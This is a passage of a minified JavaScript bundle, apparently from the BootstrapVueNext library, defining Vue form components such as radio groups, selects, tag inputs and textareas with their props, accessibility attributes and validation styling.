o=\"\"===o||(o||!1),\"boolean\"!=typeof o&&\"auto\"!==o&&(o=ou(o,0),o=o>0&&o),o&&(\"xs\"===r?n.cols=o:n[r||(\"boolean\"==typeof o?\"col\":\"cols\")]=o),n},{}),h=(0,o.KR)(),v=(t,n=null)=>{if(Bs&&e.labelFor){const r=Xs(`#${Os(e.labelFor)}`,h);if(r){const e=\"aria-describedby\",a=(t||\"\").split(_s),o=(n||\"\").split(_s),i=(Gs(r,e)||\"\").split(_s).filter(e=>!o.includes(e)).concat(a).filter((e,t,n)=>n.indexOf(e)===t).filter(e=>e).join(\" \").trim();i?Ys(r,e,i):zs(r,e)}}},m=(0,a.EW)(()=>p(e,\"content\")),g=(0,a.EW)(()=>f(e,\"label\")),y=(0,a.EW)(()=>p(e,\"label\")),b=(0,a.EW)(()=>Object.keys(m.value).length>0||Object.keys(y.value).length>0),$=(0,a.EW)(()=>\"boolean\"==typeof i.value?i.value:null),w=(0,a.EW)(()=>{const e=$.value;return!0===e?\"is-valid\":!1===e?\"is-invalid\":null}),_=(0,a.EW)(()=>eu(t.ariaInvalid,i.value));return(0,a.wB)(()=>d,(e,t)=>{e!==t&&v(e,t)}),(0,a.sV)(()=>{(0,a.dY)(()=>{v(d)})}),{disabledBoolean:n,labelSrOnlyBoolean:r,stateBoolean:i,tooltipBoolean:l,validatedBoolean:s,floatingBoolean:u,ariaDescribedby:d,computedAriaInvalid:_,contentColProps:m,isHorizontal:b,labelAlignClasses:g,labelColProps:y,onLegendClick:t=>{if(e.labelFor)return;const{target:n}=t,r=n?n.tagName:\"\";if(-1!==xf.indexOf(r))return;const a=Hs(Cf,h).filter(Vs);1===a.length&&js(a[0])},stateClass:w}},render(){const e=this.$props,t=this.$slots,n=xu(),r=!e.labelFor;let i=null;const l=ru(Sf,{},t)||e.label,s=l?Js(\"_BV_label_\"):null;if(l||this.isHorizontal){const t=r?\"legend\":\"label\";if(this.labelSrOnlyBoolean)l&&(i=(0,a.h)(t,{class:\"visually-hidden\",id:s,for:e.labelFor||null},l)),i=this.isHorizontal?(0,a.h)(yc,this.labelColProps,{default:()=>i}):(0,a.h)(\"div\",{},[i]);else{const n={onClick:r?this.onLegendClick:null,...this.isHorizontal?this.labelColProps:{},tag:this.isHorizontal?t:null,id:s,for:e.labelFor||null,tabIndex:r?\"-1\":null,class:[this.isHorizontal?\"col-form-label\":\"form-label\",{\"bv-no-focus-ring\":r,\"col-form-label\":this.isHorizontal||r,\"pt-0\":!this.isHorizontal&&r,\"d-block\":!this.isHorizontal&&!r,[`col-form-label-${e.labelSize}`]:!!e.labelSize},this.labelAlignClasses,e.labelClass]};i=this.isHorizontal?(0,a.h)(yc,n,{default:()=>l}):(0,a.h)(t,n,l)}}let u=null;const d=ru(Ef,{},t)||this.invalidFeedback,c=d?Js(\"_BV_feedback_invalid_\"):void 0;d&&(u=(0,a.h)(cf,{ariaLive:e.feedbackAriaLive,id:c,state:this.stateBoolean,tooltip:this.tooltipBoolean},{default:()=>d}));let f=null;const p=ru(Tf,{},t)||this.validFeedback,h=p?Js(\"_BV_feedback_valid_\"):void 0;p&&(f=(0,a.h)(hf,{ariaLive:e.feedbackAriaLive,id:h,state:this.stateBoolean,tooltip:this.tooltipBoolean},{default:()=>p}));let v=null;const m=ru(Rf,{},t)||this.description,g=m?Js(\"_BV_description_\"):void 0;m&&(v=(0,a.h)(pf,{id:g},{default:()=>m}));const y=this.ariaDescribedby=[g,!1===this.stateBoolean?c:null,!0===this.stateBoolean?h:null].filter(e=>e).join(\" \")||null,b=[ru(Of,{ariaDescribedby:y,descriptionId:g,id:n,labelId:s},t)||\"\",u,f,v];!this.isHorizontal&&this.floatingBoolean&&b.push(i);let $=(0,a.h)(\"div\",{ref:\"content\",class:[{\"form-floating\":!this.isHorizontal&&this.floatingBoolean}]},b);this.isHorizontal&&($=(0,a.h)(yc,{ref:\"content\",...this.contentColProps},{default:()=>b}));const w={class:[\"mb-3\",this.stateClass,{\"was-validated\":this.validatedBoolean}],id:xu((0,o.lW)(e,\"id\")).value,disabled:r?this.disabledBoolean:null,role:r?null:\"group\",\"aria-invalid\":this.computedAriaInvalid,\"aria-labelledby\":r&&this.isHorizontal?s:null};return this.isHorizontal&&!r?(0,a.h)(ff,w,{default:()=>[i,$]}):(0,a.h)(r?\"fieldset\":\"div\",w,this.isHorizontal&&r?[(0,a.h)(ff,{},{default:()=>[i,$]})]:this.isHorizontal||!this.floatingBoolean?[i,$]:[$])}}),Af=[\"text\",\"number\",\"email\",\"password\",\"search\",\"url\",\"tel\",\"date\",\"time\",\"range\",\"color\"],Df=(0,a.pM)({props:{...Su,max:{type:[String,Number],required:!1},min:{type:[String,Number],required:!1},step:{type:[String,Number],required:!1},type:{type:String,default:\"text\",validator:e=>Af.includes(e)}},emits:[\"update:modelValue\",\"change\",\"blur\",\"input\"],setup(e,{emit:t}){const n=(0,a.EW)(()=>{const t=\"range\"===e.type,n=\"color\"===e.type;return{\"form-range\":t,\"form-control\":n||!e.plaintext&&!t,\"form-control-color\":n,\"form-control-plaintext\":e.plaintext&&!t&&!n,[`form-control-${e.size}`]:!!e.size,\"is-valid\":!0===e.state,\"is-invalid\":!1===e.state}}),r=(0,a.EW)(()=>Af.includes(e.type)?e.type:\"text\"),{input:o,computedId:i,computedAriaInvalid:l,onInput:s,onChange:u,onBlur:d,focus:c,blur:f}=Eu(e,t);return{classes:n,localType:r,input:o,computedId:i,computedAriaInvalid:l,onInput:s,onChange:u,onBlur:d,focus:c,blur:f}}}),Bf=[\"id\",\"name\",\"form\",\"type\",\"disabled\",\"placeholder\",\"required\",\"autocomplete\",\"readonly\",\"min\",\"max\",\"step\",\"list\",\"aria-required\",\"aria-invalid\"];function Wf(e,t,n,r,o,i){return(0,a.uX)(),(0,a.CE)(\"input\",(0,a.v6)({id:e.computedId,ref:\"input\",class:e.classes,name:e.name||void 0,form:e.form||void 0,type:e.localType,disabled:e.disabled,placeholder:e.placeholder,required:e.required,autocomplete:e.autocomplete||void 0,readonly:e.readonly||e.plaintext,min:e.min,max:e.max,step:e.step,list:\"password\"!==e.type?e.list:void 0,\"aria-required\":e.required?\"true\":void 0,\"aria-invalid\":e.computedAriaInvalid},e.$attrs,{onInput:t[0]||(t[0]=t=>e.onInput(t)),onChange:t[1]||(t[1]=t=>e.onChange(t)),onBlur:t[2]||(t[2]=t=>e.onBlur(t))}),null,16,Bf)}const Pf=vd(Df,[[\"render\",Wf]]),If=[\"id\",\"disabled\",\"required\",\"name\",\"form\",\"aria-label\",\"aria-labelledby\",\"value\",\"aria-required\"],Nf=[\"for\"],Lf=(0,a.pM)({__name:\"BFormRadio\",props:{ariaLabel:null,ariaLabelledBy:null,form:null,id:null,name:null,size:null,autofocus:{default:!1},modelValue:{type:[Boolean,String,Array,Object,Number],default:void 0},plain:{default:!1},button:{default:!1},switch:{default:!1},disabled:{default:!1},buttonVariant:{default:\"secondary\"},inline:{default:!1},required:{default:!1},state:{default:void 0},value:{type:[String,Boolean,Object,Number],default:!0}},emits:[\"input\",\"change\",\"update:modelValue\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"autofocus\")),s=cu((0,o.lW)(n,\"plain\")),u=cu((0,o.lW)(n,\"button\")),d=cu((0,o.lW)(n,\"switch\")),c=cu((0,o.lW)(n,\"disabled\")),f=cu((0,o.lW)(n,\"inline\")),p=cu((0,o.lW)(n,\"required\")),h=cu((0,o.lW)(n,\"state\")),v=xu((0,o.lW)(n,\"id\"),\"form-check\"),m=(0,o.KR)(null),g=(0,o.KR)(!1),y=(0,a.EW)({get:()=>Array.isArray(n.modelValue)?n.modelValue[0]:n.modelValue,set:e=>{const r=!!e&&n.value,a=Array.isArray(n.modelValue)?[r]:r;t(\"input\",a),t(\"change\",a),t(\"update:modelValue\",a)}}),b=(0,a.EW)(()=>Array.isArray(n.modelValue)?(n.modelValue||[]).find(e=>e===n.value):JSON.stringify(n.modelValue)===JSON.stringify(n.value)),$=(0,o.Kh)({plain:(0,o.lW)(s,\"value\"),button:(0,o.lW)(u,\"value\"),inline:(0,o.lW)(f,\"value\"),switch:(0,o.lW)(d,\"value\"),size:(0,o.lW)(n,\"size\"),state:(0,o.lW)(h,\"value\"),buttonVariant:(0,o.lW)(n,\"buttonVariant\")}),w=gu($),_=yu($),k=bu($);return(0,a.sV)(()=>{r.value&&m.value.focus()}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)((0,o.R1)(w))},[(0,a.bo)((0,a.Lk)(\"input\",(0,a.v6)({id:(0,o.R1)(v)},t.$attrs,{ref_key:\"input\",ref:m,\"onUpdate:modelValue\":n[0]||(n[0]=e=>(0,o.i9)(y)?y.value=e:null),class:(0,o.R1)(_),type:\"radio\",disabled:(0,o.R1)(c),required:!!e.name&&!!(0,o.R1)(p),name:e.name,form:e.form,\"aria-label\":e.ariaLabel,\"aria-labelledby\":e.ariaLabelledBy,value:e.value,\"aria-required\":!(!e.name||!(0,o.R1)(p))||void 0,onFocus:n[1]||(n[1]=e=>g.value=!0),onBlur:n[2]||(n[2]=e=>g.value=!1)}),null,16,If),[[l.XL,(0,o.R1)(y)]]),t.$slots.default||!(0,o.R1)(s)?((0,a.uX)(),(0,a.CE)(\"label\",{key:0,for:(0,o.R1)(v),class:(0,i.C4)([(0,o.R1)(k),{active:(0,o.R1)(b),focus:g.value}])},[(0,a.RG)(t.$slots,\"default\")],10,Nf)):(0,a.Q3)(\"\",!0)],2))}}),jf=[\"id\"],Ff=[\"innerHTML\"],Vf=[\"textContent\"],Uf=(0,a.pM)({__name:\"BFormRadioGroup\",props:{size:null,form:null,id:null,name:null,modelValue:{type:[String,Boolean,Array,Object,Number],default:\"\"},ariaInvalid:{default:void 0},autofocus:{default:!1},buttonVariant:{default:\"secondary\"},buttons:{default:!1},disabled:{default:!1},disabledField:{default:\"disabled\"},htmlField:{default:\"html\"},options:{default:()=>[]},plain:{default:!1},required:{default:!1},stacked:{default:!1},state:{default:void 0},textField:{default:\"text\"},validated:{default:!1},valueField:{default:\"value\"}},emits:[\"input\",\"update:modelValue\",\"change\"],setup(e,{emit:t}){const n=e;cu((0,o.lW)(n,\"autofocus\"));const r=cu((0,o.lW)(n,\"buttons\")),l=cu((0,o.lW)(n,\"disabled\"));cu((0,o.lW)(n,\"plain\"));const s=cu((0,o.lW)(n,\"required\")),u=cu((0,o.lW)(n,\"stacked\")),d=cu((0,o.lW)(n,\"state\")),c=cu((0,o.lW)(n,\"validated\")),f=(0,a.Ht)(),p=\"BFormRadio\",h=xu((0,o.lW)(n,\"id\"),\"radio\"),v=xu((0,o.lW)(n,\"name\"),\"checkbox\"),m=(0,a.EW)({get:()=>n.modelValue,set:e=>{t(\"input\",e),t(\"update:modelValue\",e),t(\"change\",e)}}),g=(0,a.EW)(()=>(f.first?_u(f.first(),p,l.value):[]).concat(n.options.map(e=>ku(e,n))).concat(f.default?_u(f.default(),p,l.value):[]).map((e,t)=>Cu(e,t,n,v,h)).map(e=>({...e}))),y=(0,o.Kh)({required:(0,o.lW)(s,\"value\"),ariaInvalid:(0,o.lW)(n,\"ariaInvalid\"),state:(0,o.lW)(d,\"value\"),validated:(0,o.lW)(c,\"value\"),buttons:(0,o.lW)(r,\"value\"),stacked:(0,o.lW)(u,\"value\"),size:(0,o.lW)(n,\"size\")}),b=$u(y),$=wu(y);return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",(0,a.v6)((0,o.R1)(b),{id:(0,o.R1)(h),role:\"radiogroup\",class:[(0,o.R1)($),\"bv-no-focus-ring\"],tabindex:\"-1\"}),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(g),(e,n)=>((0,a.uX)(),(0,a.Wv)(Lf,(0,a.v6)({key:n,modelValue:(0,o.R1)(m),\"onUpdate:modelValue\":t[0]||(t[0]=e=>(0,o.i9)(m)?m.value=e:null)},e.props),{default:(0,a.k6)(()=>[e.html?((0,a.uX)(),(0,a.CE)(\"span\",{key:0,innerHTML:e.html},null,8,Ff)):((0,a.uX)(),(0,a.CE)(\"span\",{key:1,textContent:(0,i.v_)(e.text)},null,8,Vf))]),_:2},1040,[\"modelValue\"]))),128))],16,jf))}}),Xf=[\"value\",\"disabled\"],Hf=(0,a.pM)({__name:\"BFormSelectOption\",props:{value:null,disabled:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"disabled\"));return(n,r)=>((0,a.uX)(),(0,a.CE)(\"option\",{value:e.value,disabled:(0,o.R1)(t)},[(0,a.RG)(n.$slots,\"default\")],8,Xf))}}),Gf=[\"label\"],Yf=(0,a.pM)({__name:\"BFormSelectOptionGroup\",props:{label:null,disabledField:{default:\"disabled\"},htmlField:{default:\"html\"},options:{default:()=>[]},textField:{default:\"text\"},valueField:{default:\"value\"}},setup(e){const t=e,n=(0,a.EW)(()=>Ou(t.options,\"BFormSelectOptionGroup\",t));return(t,r)=>((0,a.uX)(),(0,a.CE)(\"optgroup\",{label:e.label},[(0,a.RG)(t.$slots,\"first\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(n),(e,n)=>((0,a.uX)(),(0,a.Wv)(Hf,(0,a.v6)({key:`option_${n}`,value:e.value,disabled:e.disabled},t.$attrs,{innerHTML:e.html||e.text}),null,16,[\"value\",\"disabled\",\"innerHTML\"]))),128)),(0,a.RG)(t.$slots,\"default\")],8,Gf))}}),zf=[\"id\",\"name\",\"form\",\"multiple\",\"size\",\"disabled\",\"required\",\"aria-required\",\"aria-invalid\"],Kf=(0,a.pM)({__name:\"BFormSelect\",props:{ariaInvalid:{default:void 0},autofocus:{default:!1},disabled:{default:!1},disabledField:{default:\"disabled\"},form:null,htmlField:{default:\"html\"},id:null,labelField:{default:\"label\"},multiple:{default:!1},name:null,options:{default:()=>[]},optionsField:{default:\"options\"},plain:{default:!1},required:{default:!1},selectSize:{default:0},size:null,state:{default:void 0},textField:{default:\"text\"},valueField:{default:\"value\"},modelValue:{default:\"\"}},emits:[\"input\",\"update:modelValue\",\"change\"],setup(e,{expose:t,emit:n}){const r=e,i=cu((0,o.lW)(r,\"autofocus\")),s=cu((0,o.lW)(r,\"disabled\")),u=cu((0,o.lW)(r,\"multiple\")),d=cu((0,o.lW)(r,\"plain\")),c=cu((0,o.lW)(r,\"required\")),f=cu((0,o.lW)(r,\"state\")),p=(0,o.KR)(),h=xu((0,o.lW)(r,\"id\"),\"input\"),v=()=>{(0,a.dY)(()=>{var e;i.value&&(null==(e=p.value)||e.focus())})};(0,a.sV)(v),(0,a.n)(v);const m=(0,a.EW)(()=>({\"form-control\":d.value,[`form-control-${r.size}`]:r.size&&d.value,\"form-select\":!d.value,[`form-select-${r.size}`]:r.size&&!d.value,\"is-valid\":!0===f.value,\"is-invalid\":!1===f.value})),g=(0,a.EW)(()=>{if(r.selectSize||d.value)return r.selectSize}),y=(0,a.EW)(()=>eu(r.ariaInvalid,f.value)),b=(0,a.EW)(()=>Ou(r.options,\"BFormSelect\",r)),$=(0,a.EW)({get(){return r.modelValue},set(e){n(\"change\",e),n(\"update:modelValue\",e),n(\"input\",e)}});return t({blur:()=>{var e;s.value||null==(e=p.value)||e.blur()},focus:()=>{var e;s.value||null==(e=p.value)||e.focus()}}),(t,n)=>(0,a.bo)(((0,a.uX)(),(0,a.CE)(\"select\",(0,a.v6)({id:(0,o.R1)(h),ref_key:\"input\",ref:p},t.$attrs,{\"onUpdate:modelValue\":n[0]||(n[0]=e=>(0,o.i9)($)?$.value=e:null),class:(0,o.R1)(m),name:e.name,form:e.form||void 0,multiple:(0,o.R1)(u)||void 0,size:(0,o.R1)(g),disabled:(0,o.R1)(s),required:(0,o.R1)(c),\"aria-required\":!!(0,o.R1)(c)||void 0,\"aria-invalid\":(0,o.R1)(y)}),[(0,a.RG)(t.$slots,\"first\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(b),(e,t)=>((0,a.uX)(),(0,a.CE)(a.FK,null,[Array.isArray(e.options)?((0,a.uX)(),(0,a.Wv)(Yf,{key:`option_${t}`,label:e.label,options:e.options},null,8,[\"label\",\"options\"])):((0,a.uX)(),(0,a.Wv)(Hf,{key:`option2_${t}`,value:e.value,disabled:e.disabled,innerHTML:e.html||e.text},null,8,[\"value\",\"disabled\",\"innerHTML\"]))],64))),256)),(0,a.RG)(t.$slots,\"default\")],16,zf)),[[l.u1,(0,o.R1)($)]])}}),qf=[\"id\"],Qf=(0,a.pM)({__name:\"BFormTag\",props:{id:null,title:null,disabled:{default:!1},noRemove:{default:!1},pill:{default:!1},removeLabel:{default:\"Remove tag\"},tag:{default:\"span\"},variant:{default:\"secondary\"}},emits:[\"remove\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"disabled\")),l=cu((0,o.lW)(n,\"noRemove\")),s=cu((0,o.lW)(n,\"pill\")),u=(0,a.Ht)(),d=(0,a.EW)(()=>{var e,t,r;return null!=(r=(null==(t=null==(e=u.default)?void 0:e.call(u)[0].children)?void 0:t.toString())||n.title)?r:\"\"}),c=xu((0,o.lW)(n,\"id\")),f=(0,a.EW)(()=>`${c.value}taglabel__`),p=(0,a.EW)(()=>[`bg-${n.variant}`,{\"text-dark\":[\"warning\",\"info\",\"light\"].includes(n.variant),\"rounded-pill\":s.value,disabled:r.value}]);return(n,s)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:(0,o.R1)(c),title:(0,o.R1)(d),class:(0,i.C4)([\"badge b-form-tag d-inline-flex align-items-center mw-100\",(0,o.R1)(p)]),\"aria-labelledby\":(0,o.R1)(f)},{default:(0,a.k6)(()=>[(0,a.Lk)(\"span\",{id:(0,o.R1)(f),class:\"b-form-tag-content flex-grow-1 text-truncate\"},[(0,a.RG)(n.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)((0,o.R1)(d)),1)])],8,qf),(0,o.R1)(r)||(0,o.R1)(l)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.Wv)(ad,{key:0,\"aria-keyshortcuts\":\"Delete\",type:\"button\",\"aria-label\":e.removeLabel,class:\"b-form-tag-remove\",white:![\"warning\",\"info\",\"light\"].includes(e.variant),\"aria-describedby\":(0,o.R1)(f),\"aria-controls\":e.id,onClick:s[0]||(s[0]=e=>t(\"remove\",(0,o.R1)(d)))},null,8,[\"aria-label\",\"white\",\"aria-describedby\",\"aria-controls\"]))]),_:3},8,[\"id\",\"title\",\"class\",\"aria-labelledby\"]))}}),Zf=[\"id\"],Jf=[\"id\",\"for\",\"aria-live\"],ep=[\"id\",\"aria-live\"],tp=[\"id\"],np=[\"aria-controls\"],rp={role:\"group\",class:\"d-flex\"},ap=[\"id\",\"disabled\",\"value\",\"type\",\"placeholder\",\"form\",\"required\"],op=[\"disabled\"],ip={\"aria-live\":\"polite\",\"aria-atomic\":\"true\"},lp={key:0,class:\"d-block invalid-feedback\"},sp={key:1,class:\"form-text text-muted\"},up={key:2,class:\"form-text text-muted\"},dp=[\"name\",\"value\"],cp=(0,a.pM)({__name:\"BFormTags\",props:{addButtonText:{default:\"Add\"},addButtonVariant:{default:\"outline-secondary\"},addOnChange:{default:!1},autofocus:{default:!1},disabled:{default:!1},duplicateTagText:{default:\"Duplicate tag(s)\"},inputAttrs:null,inputClass:null,inputId:null,inputType:{default:\"text\"},invalidTagText:{default:\"Invalid tag(s)\"},form:null,limit:null,limitTagsText:{default:\"Tag limit reached\"},modelValue:{default:()=>[]},name:null,noAddOnEnter:{default:!1},noOuterFocus:{default:!1},noTagRemove:{default:!1},placeholder:{default:\"Add tag...\"},removeOnDelete:{default:!1},required:{default:!1},separator:null,state:{default:void 0},size:null,tagClass:null,tagPills:{default:!1},tagRemoveLabel:null,tagRemovedLabel:{default:\"Tag removed\"},tagValidator:{type:Function,default:()=>!0},tagVariant:{default:\"secondary\"}},emits:[\"update:modelValue\",\"input\",\"tag-state\",\"focus\",\"focusin\",\"focusout\",\"blur\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"addOnChange\")),l=cu((0,o.lW)(n,\"autofocus\")),s=cu((0,o.lW)(n,\"disabled\")),u=cu((0,o.lW)(n,\"noAddOnEnter\")),d=cu((0,o.lW)(n,\"noOuterFocus\")),c=cu((0,o.lW)(n,\"noTagRemove\")),f=cu((0,o.lW)(n,\"removeOnDelete\")),p=cu((0,o.lW)(n,\"required\")),h=cu((0,o.lW)(n,\"state\")),v=cu((0,o.lW)(n,\"tagPills\")),m=(0,o.KR)(null),g=xu(),y=(0,a.EW)(()=>n.inputId||`${g.value}input__`);(0,a.sV)(()=>{A(),n.modelValue.length>0&&(w.value=!0)}),(0,a.n)(()=>A()),(0,a.wB)(()=>n.modelValue,e=>{b.value=e});const b=(0,o.KR)(n.modelValue),$=(0,o.KR)(\"\"),w=(0,o.KR)(!1),_=(0,o.KR)(!1),k=(0,o.KR)(\"\"),C=(0,o.KR)([]),x=(0,o.KR)([]),S=(0,o.KR)([]),E=(0,a.EW)(()=>({[`form-control-${n.size}`]:void 0!==n.size,disabled:s.value,focus:_.value,\"is-invalid\":!1===h.value,\"is-valid\":!0===h.value})),T=(0,a.EW)(()=>b.value.includes($.value)),R=(0,a.EW)(()=>\"\"!==$.value&&!n.tagValidator($.value)),O=(0,a.EW)(()=>b.value.length===n.limit),M=(0,a.EW)(()=>!R.value&&!T.value),A=()=>{var e;l.value&&(null==(e=m.value)||e.focus())},D=e=>{s.value?e.target.blur():t(\"focusin\",e)},B=e=>{s.value||d.value||(_.value=!0,t(\"focus\",e))},W=e=>{_.value=!1,t(\"blur\",e)},P=e=>{var r,a;const o=\"string\"==typeof e?e:e.target.value;w.value=!1,(null==(r=n.separator)?void 0:r.includes(o.charAt(0)))&&o.length>0?m.value&&(m.value.value=\"\"):($.value=o,null!=(a=n.separator)&&a.includes(o.charAt(o.length-1))?L(o.slice(0,o.length-1)):(C.value=n.tagValidator(o)&&!T.value?[o]:[],x.value=n.tagValidator(o)?[]:[o],S.value=T.value?[o]:[],t(\"tag-state\",C.value,x.value,S.value)))},I=e=>{r.value&&(P(e),T.value||L($.value))},N=e=>{\"Enter\"!==e.key||u.value?(\"Backspace\"===e.key||\"Delete\"===e.key)&&f.value&&\"\"===$.value&&w.value&&b.value.length>0?j(b.value[b.value.length-1]):w.value=!0:L($.value)},L=e=>{var r;if(e=(e||$.value).trim(),\"\"===e||T.value||!n.tagValidator(e)||n.limit&&O.value)return;const a=[...n.modelValue,e];$.value=\"\",w.value=!0,t(\"update:modelValue\",a),t(\"input\",a),null==(r=m.value)||r.focus()},j=e=>{var n;const r=b.value.indexOf(null!=(n=null==e?void 0:e.toString())?n:\"\");k.value=b.value.splice(r,1).toString(),t(\"update:modelValue\",b.value)},F=(0,a.EW)(()=>{const{addButtonText:e,addButtonVariant:t,duplicateTagText:r,inputAttrs:a,form:o,inputType:i,invalidTagText:l,limitTagsText:u,limit:d,placeholder:f,separator:m,size:g,tagClass:w,tagRemoveLabel:_,tagVariant:k}=n;return{addButtonText:e,addButtonVariant:t,addTag:L,disableAddButton:M,disabled:s.value,duplicateTagText:r,duplicateTags:S,form:o,inputAttrs:{...a,disabled:s.value,form:o,id:y,value:$},inputHandlers:{input:P,keydown:N,change:I},inputId:y,inputType:i,invalidTagText:l,invalidTags:x,isDuplicate:T,isInvalid:R,isLimitReached:O,limitTagsText:u,limit:d,noTagRemove:c.value,placeholder:f,removeTag:j,required:p.value,separator:m,size:g,state:h.value,tagClass:w,tagPills:v.value,tagRemoveLabel:_,tagVariant:k,tags:b}});return(n,r)=>((0,a.uX)(),(0,a.CE)(\"div\",{id:(0,o.R1)(g),class:(0,i.C4)([\"b-form-tags form-control h-auto\",(0,o.R1)(E)]),role:\"group\",tabindex:\"-1\",onFocusin:D,onFocusout:r[1]||(r[1]=e=>t(\"focusout\",e))},[(0,a.Lk)(\"output\",{id:`${(0,o.R1)(g)}selected_tags__`,class:\"visually-hidden\",role:\"status\",for:(0,o.R1)(y),\"aria-live\":_.value?\"polite\":\"off\",\"aria-atomic\":\"true\",\"aria-relevant\":\"additions text\"},(0,i.v_)(b.value.join(\", \")),9,Jf),(0,a.Lk)(\"div\",{id:`${(0,o.R1)(g)}removed_tags__`,role:\"status\",\"aria-live\":_.value?\"assertive\":\"off\",\"aria-atomic\":\"true\",class:\"visually-hidden\"},\" (\"+(0,i.v_)(e.tagRemovedLabel)+\") \"+(0,i.v_)(k.value),9,ep),(0,a.RG)(n.$slots,\"default\",(0,i._B)((0,a.Ng)((0,o.R1)(F))),()=>[(0,a.Lk)(\"ul\",{id:`${(0,o.R1)(g)}tag_list__`,class:\"b-form-tags-list list-unstyled mb-0 d-flex flex-wrap align-items-center\"},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(b.value,t=>(0,a.RG)(n.$slots,\"tag\",(0,i._B)((0,a.Ng)({tag:t,tagClass:e.tagClass,tagVariant:e.tagVariant,tagPillsBoolean:(0,o.R1)(v),removeTag:j})),()=>[((0,a.uX)(),(0,a.Wv)(Qf,{key:t,class:(0,i.C4)(e.tagClass),tag:\"li\",variant:e.tagVariant,pill:(0,o.R1)(v),onRemove:j},{default:(0,a.k6)(()=>[(0,a.eW)((0,i.v_)(t),1)]),_:2},1032,[\"class\",\"variant\",\"pill\"]))])),256)),(0,a.Lk)(\"li\",{role:\"none\",\"aria-live\":\"off\",class:\"b-from-tags-field flex-grow-1\",\"aria-controls\":`${(0,o.R1)(g)}tag_list__`},[(0,a.Lk)(\"div\",rp,[(0,a.Lk)(\"input\",(0,a.v6)({id:(0,o.R1)(y),ref_key:\"input\",ref:m,disabled:(0,o.R1)(s),value:$.value,type:e.inputType,placeholder:e.placeholder,class:\"b-form-tags-input w-100 flex-grow-1 p-0 m-0 bg-transparent border-0\",style:{outline:\"currentcolor none 0px\",\"min-width\":\"5rem\"}},e.inputAttrs,{form:e.form,required:(0,o.R1)(p),onInput:P,onChange:I,onKeydown:N,onFocus:B,onBlur:W}),null,16,ap),(0,o.R1)(M)?((0,a.uX)(),(0,a.CE)(\"button\",{key:0,type:\"button\",class:(0,i.C4)([\"btn b-form-tags-button py-0\",[`btn-${e.addButtonVariant}`,{\"disabled invisible\":0===$.value.length},e.inputClass]]),style:{\"font-size\":\"90%\"},disabled:(0,o.R1)(s)||0===$.value.length||(0,o.R1)(O),onClick:r[0]||(r[0]=e=>L($.value))},[(0,a.RG)(n.$slots,\"add-button-text\",{},()=>[(0,a.eW)((0,i.v_)(e.addButtonText),1)])],10,op)):(0,a.Q3)(\"\",!0)])],8,np)],8,tp),(0,a.Lk)(\"div\",ip,[(0,o.R1)(R)?((0,a.uX)(),(0,a.CE)(\"div\",lp,(0,i.v_)(e.invalidTagText)+\": \"+(0,i.v_)($.value),1)):(0,a.Q3)(\"\",!0),(0,o.R1)(T)?((0,a.uX)(),(0,a.CE)(\"small\",sp,(0,i.v_)(e.duplicateTagText)+\": \"+(0,i.v_)($.value),1)):(0,a.Q3)(\"\",!0),b.value.length===e.limit?((0,a.uX)(),(0,a.CE)(\"small\",up,\"Tag limit reached\")):(0,a.Q3)(\"\",!0)])]),e.name?((0,a.uX)(!0),(0,a.CE)(a.FK,{key:0},(0,a.pI)(b.value,t=>((0,a.uX)(),(0,a.CE)(\"input\",{key:t,type:\"hidden\",name:e.name,value:t},null,8,dp))),128)):(0,a.Q3)(\"\",!0)],42,Zf))}}),fp=(0,a.pM)({props:{...Su,noResize:{type:[Boolean,String],default:!1},rows:{type:[String,Number],required:!1,default:2},wrap:{type:String,default:\"soft\"}},emits:[\"update:modelValue\",\"change\",\"blur\",\"input\"],setup(e,{emit:t}){const n=cu((0,o.lW)(e,\"noResize\")),r=(0,a.EW)(()=>({\"form-control\":!e.plaintext,\"form-control-plaintext\":e.plaintext,[`form-control-${e.size}`]:!!e.size,\"is-valid\":!0===e.state,\"is-invalid\":!1===e.state})),i=(0,a.EW)(()=>n.value?{resize:\"none\"}:void 0),{input:l,computedId:s,computedAriaInvalid:u,onInput:d,onChange:c,onBlur:f,focus:p,blur:h}=Eu(e,t);return{input:l,computedId:s,computedAriaInvalid:u,onInput:d,onChange:c,onBlur:f,focus:p,blur:h,classes:r,computedStyles:i}}}),pp=[\"id\",\"name\",\"form\",\"disabled\",\"placeholder\",\"required\",\"autocomplete\",\"readonly\",\"aria-required\",\"aria-invalid\",\"rows\",\"wrap\"];function hp(e,t,n,r,o,i){return(0,a.uX)(),(0,a.CE)(\"textarea\",(0,a.v6)({id:e.computedId,ref:\"input\",class:e.classes,name:e.name||void 0,form:e.form||void 0,disabled:e.disabled,placeholder:e.placeholder,required:e.required,autocomplete:e.autocomplete||void 0,readonly:e.readonly||e.plaintext,\"aria-required\":e.required?\"true\":void 0,\"aria-invalid\":e.computedAriaInvalid,rows:e.rows,style:e.computedStyles,wrap:e.wrap||void 0},e.$attrs,{onInput:t[0]||(t[0]=t=>e.onInput(t)),onChange:t[1]||(t[1]=t=>e.onChange(t)),onBlur:t[2]||(t[2]=t=>e.onBlur(t))}),null,16,pp)}const vp=vd(fp,[[\"render\",hp]]),mp={key:0,class:\"input-group-text\"},gp=[\"innerHTML\"],yp={key:1},bp={key:0,class:\"input-group-text\"},$p=[\"innerHTML\"],wp={key:1},_p=(0,a.pM)({__name:\"BInputGroup\",props:{append:null,appendHtml:null,id:null,prepend:null,prependHtml:null,size:null,tag:{default:\"div\"}},setup(e){const 